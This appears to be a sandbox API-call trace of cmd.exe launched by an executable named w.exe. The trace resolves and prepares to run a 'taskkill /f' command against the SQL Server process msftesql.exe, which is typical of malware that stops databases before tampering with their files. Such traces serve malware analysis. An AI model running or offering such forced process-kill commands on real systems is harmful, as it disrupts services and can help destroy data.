	[0028.837] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0028.837] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0028.838] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0028.838] GetProcessHeap () returned 0x3f0000
	[0028.838] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x402ae0 | out: hHeap=0x3f0000) returned 1
	[0028.838] GetEnvironmentStringsW () returned 0x402220*
	[0028.838] GetProcessHeap () returned 0x3f0000
	[0028.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae2) returned 0x404b80
	[0028.839] FreeEnvironmentStringsW (penv=0x402220) returned 1
	[0028.839] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e40640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0028.839] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e40640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0028.839] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0028.839] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0028.839] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0028.839] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0028.839] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0028.839] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0028.839] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0028.839] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0028.839] GetProcessHeap () returned 0x3f0000
	[0028.839] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x405670
	[0028.839] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x38f9e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0028.839] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x38f9e0, lpFilePart=0x38f9dc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x38f9dc*="Desktop") returned 0x25
	[0028.839] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0028.839] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x38f75c | out: lpFindFileData=0x38f75c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x401e88
	[0028.839] FindClose (in: hFindFile=0x401e88 | out: hFindFile=0x401e88) returned 1
	[0028.839] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x38f75c | out: lpFindFileData=0x38f75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x401e88
	[0028.840] FindClose (in: hFindFile=0x401e88 | out: hFindFile=0x401e88) returned 1
	[0028.840] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0028.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x38f75c | out: lpFindFileData=0x38f75c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x401e88
	[0028.840] FindClose (in: hFindFile=0x401e88 | out: hFindFile=0x401e88) returned 1
	[0028.840] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0028.840] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0028.840] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0028.840] GetProcessHeap () returned 0x3f0000
	[0028.840] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404b80 | out: hHeap=0x3f0000) returned 1
	[0028.840] GetEnvironmentStringsW () returned 0x404090*
	[0028.840] GetProcessHeap () returned 0x3f0000
	[0028.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb36) returned 0x405ed0
	[0028.840] FreeEnvironmentStringsW (penv=0x404090) returned 1
	[0028.840] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e35260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0028.840] GetProcessHeap () returned 0x3f0000
	[0028.840] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405670 | out: hHeap=0x3f0000) returned 1
	[0028.840] GetProcessHeap () returned 0x3f0000
	[0028.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400e) returned 0x406a10
	[0028.841] GetProcessHeap () returned 0x3f0000
	[0028.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x402d60
	[0028.841] GetProcessHeap () returned 0x3f0000
	[0028.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4008) returned 0x40aa28
	[0028.841] GetProcessHeap () returned 0x3f0000
	[0028.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4008) returned 0x40ea38
	[0028.844] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0028.844] GetProcessHeap () returned 0x3f0000
	[0028.844] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x418) returned 0x402db8
	[0028.844] SetErrorMode (uMode=0x0) returned 0x8003
	[0028.844] SetErrorMode (uMode=0x1) returned 0x0
	[0028.844] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x402dc0, lpFilePart=0x38f958 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x38f958*="f") returned 0x31
	[0028.844] SetErrorMode (uMode=0x8003) returned 0x1
	[0028.844] GetProcessHeap () returned 0x3f0000
	[0028.844] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402db8, Size=0x8e) returned 0x402db8
	[0028.844] GetProcessHeap () returned 0x3f0000
	[0028.844] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402db8) returned 0x8e
	[0028.845] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0028.845] GetProcessHeap () returned 0x3f0000
	[0028.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x412a60
	[0028.845] GetProcessHeap () returned 0x3f0000
	[0028.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x402e50
	[0028.845] GetProcessHeap () returned 0x3f0000
	[0028.845] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402e50, Size=0x72) returned 0x402e50
	[0028.845] GetProcessHeap () returned 0x3f0000
	[0028.845] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402e50) returned 0x72
	[0028.845] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e40640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0028.845] GetProcessHeap () returned 0x3f0000
	[0028.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x402ed0
	[0028.848] GetProcessHeap () returned 0x3f0000
	[0028.848] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402ed0, Size=0x76) returned 0x402ed0
	[0028.848] GetProcessHeap () returned 0x3f0000
	[0028.848] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402ed0) returned 0x76
	[0028.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0028.849] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im msftesql.exe ", fInfoLevelId=0x1, lpFindFileData=0x38f6f4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38f6f4) returned 0xffffffff
	[0028.849] GetLastError () returned 0x3
	[0028.849] GetProcessHeap () returned 0x3f0000
	[0028.849] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40aa28 | out: hHeap=0x3f0000) returned 1
	[0028.849] GetProcessHeap () returned 0x3f0000
	[0028.849] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ea38 | out: hHeap=0x3f0000) returned 1
	[0028.849] GetProcessHeap () returned 0x3f0000
	[0028.849] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406a10 | out: hHeap=0x3f0000) returned 1
	[0028.849] GetConsoleOutputCP () returned 0x1b5
	[0028.849] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e34260 | out: lpCPInfo=0x49e34260) returned 1
	[0028.849] GetUserDefaultLCID () returned 0x409
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e34950, cchData=8 | out: lpLCData=":") returned 2
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x38fb20, cchData=128 | out: lpLCData="0") returned 2
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x38fb20, cchData=128 | out: lpLCData="0") returned 2
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x38fb20, cchData=128 | out: lpLCData="1") returned 2
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e34940, cchData=8 | out: lpLCData="/") returned 2
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e34d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e34d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e34d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e34cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e34c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e34c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e34c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e34930, cchData=8 | out: lpLCData=".") returned 2
	[0028.850] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e34920, cchData=8 | out: lpLCData=",") returned 2
	[0028.851] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0028.852] GetProcessHeap () returned 0x3f0000
	[0028.852] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x20c) returned 0x402f50
	[0028.852] GetConsoleTitleW (in: lpConsoleTitle=0x402f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0028.852] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0028.852] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0028.852] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0028.852] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0028.853] GetProcessHeap () returned 0x3f0000
	[0028.853] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400a) returned 0x406a10
	[0028.853] GetProcessHeap () returned 0x3f0000
	[0028.853] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406a10 | out: hHeap=0x3f0000) returned 1
	[0028.854] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0028.854] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0028.854] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0028.854] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0028.854] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0028.854] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0028.854] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0028.854] GetProcessHeap () returned 0x3f0000
	[0028.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x403168
	[0028.854] GetProcessHeap () returned 0x3f0000
	[0028.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x405710
	[0028.854] GetProcessHeap () returned 0x3f0000
	[0028.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x4031c8
	[0028.855] GetConsoleTitleW (in: lpConsoleTitle=0x38f818, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0028.856] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0028.856] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0028.856] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0028.856] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0028.856] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0028.856] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0028.856] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0028.856] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0028.856] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0028.856] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0028.856] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0028.856] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0028.856] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0028.856] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0028.856] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0028.856] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0028.856] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0028.856] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0028.856] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0028.856] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0028.856] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0028.856] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0028.856] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0028.856] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0028.856] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0028.856] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0028.856] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0028.856] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0028.856] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0028.856] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0028.856] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0028.856] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0028.856] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0028.856] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0028.856] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0028.856] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0028.857] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0028.857] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0028.857] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0028.857] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0028.857] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0028.857] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0028.857] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0028.857] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0028.857] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0028.857] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0028.857] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0028.857] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0028.857] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0028.857] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0028.857] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0028.857] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0028.857] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0028.857] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0028.857] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0028.857] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0028.857] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0028.857] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0028.857] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0028.857] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0028.857] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0028.857] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0028.857] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0028.857] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0028.857] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0028.857] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0028.857] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0028.857] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0028.857] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0028.857] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0028.857] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0028.858] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0028.858] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0028.858] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0028.858] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0028.858] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0028.858] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0028.858] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0028.858] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0028.858] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0028.858] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0028.858] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0028.858] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0028.858] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0028.858] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0028.858] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0028.858] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0028.858] GetProcessHeap () returned 0x3f0000
	[0028.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x403208
	[0028.858] GetProcessHeap () returned 0x3f0000
	[0028.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x403420
	[0028.858] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0028.859] GetProcessHeap () returned 0x3f0000
	[0028.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x418) returned 0x3f07f0
	[0028.859] SetErrorMode (uMode=0x0) returned 0x8003
	[0028.859] SetErrorMode (uMode=0x1) returned 0x0
	[0028.859] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3f07f8, lpFilePart=0x38f338 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x38f338*="Desktop") returned 0x25
	[0028.859] SetErrorMode (uMode=0x8003) returned 0x1
	[0028.859] GetProcessHeap () returned 0x3f0000
	[0028.859] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f07f0, Size=0x66) returned 0x3f07f0
	[0028.859] GetProcessHeap () returned 0x3f0000
	[0028.859] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f07f0) returned 0x66
	[0028.859] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e40640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0028.859] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0028.859] GetProcessHeap () returned 0x3f0000
	[0028.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x120) returned 0x403470
	[0028.859] GetProcessHeap () returned 0x3f0000
	[0028.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x238) returned 0x3f0860
	[0028.861] GetProcessHeap () returned 0x3f0000
	[0028.861] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f0860, Size=0x122) returned 0x3f0860
	[0028.861] GetProcessHeap () returned 0x3f0000
	[0028.861] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f0860) returned 0x122
	[0028.861] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e40640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0028.861] GetProcessHeap () returned 0x3f0000
	[0028.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x3f0990
	[0028.861] GetProcessHeap () returned 0x3f0000
	[0028.861] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f0990, Size=0x76) returned 0x3f0990
	[0028.861] GetProcessHeap () returned 0x3f0000
	[0028.861] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f0990) returned 0x76
	[0028.861] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0028.862] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x38f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38f0b4) returned 0xffffffff
	[0028.862] GetLastError () returned 0x2
	[0028.862] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x38f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38f0b4) returned 0xffffffff
	[0028.862] GetLastError () returned 0x2
	[0028.862] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0028.862] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x38f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38f0b4) returned 0x3f0a10
	[0028.862] GetProcessHeap () returned 0x3f0000
	[0028.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x14) returned 0x403598
	[0028.862] FindClose (in: hFindFile=0x3f0a10 | out: hFindFile=0x3f0a10) returned 1
	[0028.863] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x38f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38f0b4) returned 0xffffffff
	[0028.863] GetLastError () returned 0x2
	[0028.863] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x38f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38f0b4) returned 0x3f0a10
	[0028.863] GetProcessHeap () returned 0x3f0000
	[0028.863] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x403598, Size=0x4) returned 0x403598
	[0028.863] FindClose (in: hFindFile=0x3f0a10 | out: hFindFile=0x3f0a10) returned 1
	[0028.863] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0028.863] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0028.863] GetConsoleTitleW (in: lpConsoleTitle=0x38f5ac, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0028.863] InitializeProcThreadAttributeList (in: lpAttributeList=0x38f434, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x38f4fc | out: lpAttributeList=0x38f434, lpSize=0x38f4fc) returned 1
	[0028.863] UpdateProcThreadAttribute (in: lpAttributeList=0x38f434, dwFlags=0x0, Attribute=0x60001, lpValue=0x38f4f4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x38f434, lpPreviousValue=0x0) returned 1
	[0028.863] GetStartupInfoW (in: lpStartupInfo=0x38f3f0 | out: lpStartupInfo=0x38f3f0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0)) 
	[0028.863] GetProcessHeap () returned 0x3f0000
	[0028.863] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x3f0a10
	[0028.863] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0028.863] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0028.863] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0028.863] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0028.863] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0028.864] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
